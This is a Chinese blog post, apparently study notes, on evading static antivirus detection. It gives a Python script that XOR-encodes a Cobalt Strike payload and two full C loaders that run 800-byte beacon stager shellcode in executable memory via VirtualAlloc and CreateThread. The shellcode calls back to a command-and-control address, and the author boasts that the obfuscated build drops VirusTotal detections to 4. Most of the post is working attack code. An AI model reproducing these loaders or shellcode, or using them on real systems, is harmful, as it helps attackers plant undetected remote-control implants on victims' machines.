码迷,mamicode.com
首页 > 其他好文 > 详细

静态恶意代码逃逸-学习一

时间:2020-06-07 14:48:37      阅读:65      评论:0      收藏:0      [点我收藏+]

标签:机器   script   alt   put   clu   process   load   payload   参数   

申明:

本文非原创 学习自:
https://payloads.online/archivers/2019-11-10/1

0X01定义恶意代码

这里我们以cs载荷为例子

0X02 shellcode的定义

Shellcode是一段机器指令的集合,通常会被压缩至很小的长度,达到为后续恶意代码铺垫的作用。当然你可以通过msfvenom生成各种用于测试的shellcode。

0x03RAW文件

RAW 中文意思是原始的、未经加工的,通常使用Cobaltstrike生成的BIN文件。

技术图片

 

RAW文件是可以直接进行字节操作读取的,因此加载到内存较为方便,通常我一般使用混淆的方式再生成一遍。

0X04C文件

技术图片

 

 

 C文件给出的是一个C语言中的字符数组,也是可以通过以字节单位操作的。

 0X05组合

由于反病毒软件对于默认生成的文件查杀较为严格,我通常会采用混淆、加密解密的方式把载荷还原。

以下就是一个,用于把raw文件混淆,生成c语言数组的py代码
import sys
from argparse import ArgumentParser, FileType

def process_bin(num, src_fp, dst_fp, dst_raw):
    shellcode = ‘‘
    shellcode_size = 0
    shellcode_raw = b‘‘
    try:
        while True:
            code = src_fp.read(1)
            if not code:
                break

            base10 = ord(code) ^ num
            base10_str = chr(base10)
            shellcode_raw += base10_str.encode()
            code_hex = hex(base10)
            code_hex = code_hex.replace(0x,‘‘)
            if(len(code_hex) == 1):
                code_hex = 0 + code_hex
            shellcode += \\x + code_hex
            shellcode_size += 1
        src_fp.close()
        dst_raw.write(shellcode_raw)
        dst_raw.close()
        dst_fp.write(shellcode)
        dst_fp.close()
        return shellcode_size
    except Exception as e:
        sys.stderr.writelines(str(e))

def main():
    parser = ArgumentParser(prog=Shellcode X, description=[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: rvn0xsy@gmail.com)
    parser.add_argument(-v,--version,nargs=?)
    parser.add_argument(-s,--src,help=usource bin file,type=FileType(rb), required=True)
    parser.add_argument(-d,--dst,help=udestination shellcode file,type=FileType(w+),required=True)
    parser.add_argument(-n,--num,help=uConfused number,type=int, default=90)
    parser.add_argument(-r,--raw,help=uoutput bin file, type=FileType(wb), required=True)
    args = parser.parse_args()
    shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
    sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))

if __name__ == "__main__":
    main()

这里我们执行

在payload.c中会看到raw文件里的每一个字节与10的异或运算出的C语言数组。

技术图片

 

 

 

python encode.py -s payload.bin  -d payloadbin.c -n 10 -r RAW

技术图片

 

 

 静态恶意代码逃逸(第二课)

0x01 关于Windows操作系统内存

这里还是稍微展开介绍一下,Windows操作系统的内存有三种属性,分别为:可读、可写、可执行,并且操作系统将每个进程的内存都隔离开来,当进程运行时,创建一个虚拟的内存空间,系统的内存管理器将虚拟内存空间映射到物理内存上,所以每个进程的内存都是等大的。

操作系统给予每个进程申请内存的权力,使用不同的API,申请的内存具有不同的涵义。

在进程申请时,需要声明这块内存的基本信息:申请内存大小、申请内存起始内存基址、申请内存属性、申请内存对外的权限等。

申请方式:

    HeapAlloc
    malloc
    VirtualAlloc
    new
    LocalAlloc
    …

0x02 申请内存API的关系

其实以上所有的内存申请方式都与VirtualAlloc有关,因为VirtualAlloc申请的单位是“页”。而Windows操作系统管理内存的单位也是“页”。

0x03 实现一次正常加载

这里用cs的shellcode演示

技术图片

 

 

#include <Windows.h>


// 入口函数
int wmain(int argc,TCHAR * argv[]){

    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
/* length: 800 bytes */

unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x90\x1f\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x60\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x6f\x34\x63\x56\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4d\x41\x54\x50\x3b\x20\x4d\x41\x54\x50\x29\x0d\x0a\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x6c\x6c\x6f\x00\x68\x65\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x33\x34\x00\x00\x00\x00\x00";

// 获取shellcode大小
shellcode_size = sizeof(buf);

/*
VirtualAlloc(
    NULL, // 基址
    800,  // 大小
    MEM_COMMIT, // 内存页状态
    PAGE_EXECUTE_READWRITE // 可读可写可执行
    );
*/

char * shellcode = (char *)VirtualAlloc(
    NULL,
    shellcode_size,
    MEM_COMMIT,
    PAGE_EXECUTE_READWRITE
    );
    // 将shellcode复制到可执行的内存页中
CopyMemory(shellcode,buf,shellcode_size);

hThread = CreateThread(
    NULL, // 安全描述符
    NULL, // 栈的大小
    (LPTHREAD_START_ROUTINE)shellcode, // 函数
    NULL, // 参数
    NULL, // 线程标志
    &dwThreadId // 线程ID
    );

WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
    return 0;
}

运行

技术图片

 

 

技术图片

 

 

PS:倾旋大佬的exe但是就是16 然后现在是40几 看来很多杀软杀的不是技术 杀的是特征吧

 

技术图片

 

 

0x04 实现一次混淆加载

使用之前的Python脚本混淆生成RAW文件,最后得到混淆后的数组:

#include <Windows.h>


// 入口函数
int wmain(int argc,TCHAR * argv[]){

    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
/* length: 800 bytes */

unsigned char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x65\x44\x5a\x45\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5d\x45\x5d\x3c\x3e\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x47\x4b\x5e\x5a\x31\x2a\x47\x4b\x5e\x5a\x23\x07\x00\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x66\x66\x65\x0a\x62\x6f\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x24\x3b\x39\x3e\x0a\x0a\x0a\x0a\x0a";

// 获取shellcode大小
shellcode_size = sizeof(buf);

/* 增加异或代码 */
for(int i = 0;i<shellcode_size; i++){
    buf[i] ^= 10;
}
/*
VirtualAlloc(
    NULL, // 基址
    800,  // 大小
    MEM_COMMIT, // 内存页状态
    PAGE_EXECUTE_READWRITE // 可读可写可执行
    );
*/

char * shellcode = (char *)VirtualAlloc(
    NULL,
    shellcode_size,
    MEM_COMMIT,
    PAGE_EXECUTE_READWRITE
    );
    // 将shellcode复制到可执行的内存页中
CopyMemory(shellcode,buf,shellcode_size);

hThread = CreateThread(
    NULL, // 安全描述符
    NULL, // 栈的大小
    (LPTHREAD_START_ROUTINE)shellcode, // 函数
    NULL, // 参数
    NULL, // 线程标志
    &dwThreadId // 线程ID
    );

WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
    return 0;
}

上线效果

技术图片

 

 V站查杀现在也还是只有4的查杀率

 

技术图片

 

 

 

 https://www.virustotal.com/gui/file/04c0b02fdb725ea02d1da713bb784669bddc3c51ecfc391cdc86388890090361/details

PSexec: 最近很浮躁 忘了最开始接触这个的初衷是什么

愿少年接下来的日子里 潜心习安全 
日积月累

 

静态恶意代码逃逸-学习一

标签:机器   script   alt   put   clu   process   load   payload   参数   

原文地址:https://www.cnblogs.com/-zhong/p/13060380.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!